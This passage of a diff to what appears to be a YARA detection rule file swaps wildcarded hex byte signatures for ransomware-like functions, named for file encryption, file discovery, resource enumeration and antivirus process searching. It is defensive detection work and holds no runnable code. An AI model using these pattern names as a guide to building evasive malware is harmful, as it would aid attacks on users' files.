-            FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF D7 8D
-            44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75
-            ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 8D 44 24 ?? 50 56 FF D7 F6 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ??
-            8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ??
-            ?? ?? EB ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54
-            24 ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74
-            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E
-            33 C0 5B 8B E5 5D C3
+		$url_parameters_setup_v4_1_2 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 15 ?? ?? ?? ?? 33 FF 57 57 57 FF 15 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 57 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ??
+            ?? ?? ?? 83 EC ?? 33 DB 43 53 83 EC ?? 53 51 53 51 53 51 53 51 53 83 EC ?? 53 51 53
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 50 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF
+            D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ??
+            ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? ?? 03 C0 A3 ?? ?? ?? ?? FF D6 03 C0 8B D0
+            E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 57 57 68 ?? ?? ?? ?? 57 57 FF 15 ?? ?? ?? ??
+            8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 BB ?? ?? ?? ?? 53
+            FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ??
+            FF D6 E8 ?? ?? ?? ?? 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? E8
         }
-		$encrypt_files_1 = {
-            55 8B EC 83 EC ?? 53 57 68 ?? ?? ?? ?? 8B FA 8B D9 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 33 C0 5B 8B E5 5D C3
-            56 8D 45 ?? 33 F6 50 56 56 57 53 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ??
-            C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 68 ??
-            ?? ?? ?? 50 FF 75 ?? C7 00 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0
-            FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 5E 5F 5B 8B E5 5D C3
+		$url_parameters_setup_v4 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF
+            15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 6A ?? FF 15 ??
+            ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF
+            35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ??
+            ?? FF D6 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 8B D0 E8 ?? ?? ?? ?? 6A ?? FF 15
+            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ??
+            ?? FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6
+            68 ?? ?? ?? ?? FF D6 E8 ?? ?? ?? ?? E8
         }
-		$encrypt_files_2 = {
-            55 8B EC 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B DA 8B F9 FF 15 ?? ??
-            ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CF E8 ?? ?? ?? ?? 85
-            C0 74 ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 5D C3 8B CF E8 ??
-            ?? ?? ?? 85 C0 75 ?? 83 7B ?? ?? 72 ?? 8B 55 ?? 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 56
-            57 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ??
-            5B 5D C3
+		$search_antivirus_processes_v4 = {
+            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? FF D6 8B 5D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 03 C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? FF D6 8B F8 89 7D ?? 85 FF 74 ?? 6A ?? 6A ?? C7 07 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E
+            33 C0 5B 8B E5 5D C2 ?? ?? 33 C9 33 F6 57 50 89 4D ?? 89 4D ?? 89 4D ?? 89 75 ?? FF
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 49 ?? 85 F6 0F 85 ?? ?? ?? ?? 83 C7 ?? EB
+            ?? 8D 49 ?? 57 FF 74 B5 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 46 83 FE ?? 72 ?? 8B 75 ??
+            EB ?? 83 7D ?? ?? 57 FF 33 C7 45 ?? ?? ?? ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 33 FF 15 ?? ?? ?? ?? EB ?? 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 33 FF D6
+            FF 45 ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 75 ?? 8D 0C 41 B8 ?? ?? ?? ?? 81 F9 ?? ??
+            ?? ?? 89 4D ?? 0F 47 F0 89 75 ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 03 66 83 38 ?? 74
+            ?? 50 FF 15 ?? ?? ?? ?? 8B 0B 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 8B 35 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 85 FF 75
+            ?? 68 ?? ?? ?? ?? 57 FF 33 FF D6 8B C7 5F 5E 5B 8B E5 5D C2
         }
-		$encrypt_files_3 = {
-            55 8B EC 83 EC ?? 56 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? 5F 5E 8B E5 5D C3 8D 45
-            ?? 50 8D 45 ?? 50 8D 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 8D 4D ?? 8B D7 E8
-            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 74 ??
-            C6 04 08 ?? 8B 4D ?? 68 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75
-            ?? FF D6 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ??
-            57 FF D6 5F 33 C0 5E 8B E5 5D C3
+		$find_files_v4 = {
+            C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 0F 84 ?? ?? ??
+            ?? 8D 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 89 44 24
+            ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04
+            46 89 44 24 ?? FF D7 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24
+            ?? 66 89 11 83 F8 ?? 75 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B
+            E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF D7 F6
+            44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56
+            FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 83
+            C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E
+            33 C0 5B 8B E5 5D C3
         }
-		$enum_resources_1 = {
-            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B F1 6A ?? 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 6A ?? 89 54 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 8B 1D ?? ??
-            ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 85 F6 0F 85 ?? ??
-            ?? ?? 8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF
-            74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 49 ?? 33 DB 39 5C 24 ?? 0F 86
-            ?? ?? ?? ?? 8B 74 24 ?? 83 C6 ?? 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
-            6A ?? 57 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ??
-            8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8D 44 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 50 FF 74 24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? FF
+		$crypt_files_v4 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 33 DB 89 4D ?? 68 ?? ?? ??
+            ?? 53 8B F2 89 5D ?? FF 15 ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B
+            8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
+            8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 88 5D ?? 48 75 ?? 8B 45 ?? 89 85 ??
+            ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B
+            45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 68
+            ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 5D ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 6A ?? C7 05 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? FF D3 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
+            89 45 ?? FF D3 33 C9 8B D8 89 4D ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 3D
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 42 CA 01 87 ?? ?? ?? ?? 8B 55 ?? 83 97 ?? ?? ?? ?? ??
+            8B 7D ?? 89 4D ?? 8D 8D ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B C7 F7 D8 99 6A
+            ?? 6A ?? 52 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50
+            57 53 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57
+            53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 8B 7D ?? 85 C9 0F 84 ?? ?? ?? ?? 6A ??
+            8D 45 ?? 50 68 ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? 89
+            45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
+            ?? 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3
         }
-		$enum_resources_2 = {
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 74 24 ?? FF 74 24 ?? FF
-            15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? FF D3 8B F0 85 F6 0F 85 ?? ?? ??
-            ?? 8B 74 24 ?? 8D 44 24 ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 9B ?? ?? ?? ??
-            33 DB 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 83 C6 ?? 90 83 7E ?? ?? 75 ?? 8B 06 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF D7 8B F8 85 FF 74 ?? FF 74 24 ?? 68 ??
-            ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B CF 6A ?? E8 ?? ?? ?? ?? 83 C4 ??
-            68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? F6 46 ?? ?? 74 ?? FF 75 ?? 8B 54 24 ?? 8D
-            4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24 ?? 72 ?? 8B 74
-            24 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 56 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ??
-            50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 74 24
-            ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 8B
-            C6 5E 5B 8B E5 5D C3
+		$crypt_files_v3 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45
+            ?? ?? ?? ?? ?? 50 6A ?? 8B D9 8B CA 6A ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 8B F8 C7 45 ?? ?? ?? ?? ?? 53 57 89 7D ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ??
+            ?? ?? 66 0F 6F 05 ?? ?? ?? ?? BA ?? ?? ?? ?? F3 0F 7F 85 ?? ?? ?? ?? 51 66 0F 6F 05
+            ?? ?? ?? ?? 8D 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 66 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
+            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 F3 0F 6F 85 ?? ?? ?? ?? 8B F8 6A ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? F3 0F 7F 07 6A ?? F3 0F 6F 45 ?? 89 7D ?? F3 0F 7F 47 ?? FF D6
+            F3 0F 6F 45 ?? 68 ?? ?? ?? ?? 89 45 ?? F3 0F 7F 00 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50
+            57 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ??
+            85 C0 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 68 ??
+            ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ??
+            ?? 6A ?? FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 0F 57 C0 66 0F 13 45 ??
+            8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 6A ?? 8B D8
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF D6 8B
+            3D ?? ?? ?? ?? 33 F6 33 C9 89 45 ?? 89 4D ?? EB ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 68 ??
+            ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
+            ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            0F 42 F1 01 03 83 53 ?? ?? 8B 45 ?? 89 45 ?? 89 45 ?? A8 ?? 74 ?? 8B FF 40 A8 ?? 75
+            ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 45 ?? FF 75
+            ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15
+            ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 45
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 45 ??
+            F7 D9 6A ?? 83 D0 ?? 6A ?? F7 D8 50 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15
+            ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75
+            ?? BE ?? ?? ?? ?? 89 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 85 F6 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 75 ?? 85 C9 75 ?? 51 8D 45 ?? 50
+            68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75
+            ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ??
+            ?? ?? ?? 8B 03 8B 73 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF D7 68 ?? ?? ?? ?? 6A ??
+            FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? FF
+            75 ?? FF D7 5F 8B D6 8B C3 5E 5B 8B E5 5D C3
+        }
+		$search_antivirus_processes_v5 = {
+            8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF
+            D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB ?? 56 33 C9 89
+            5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F
+            85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
+            8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D 58 ?? 8D 46 ??
+            50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 37 FF 15
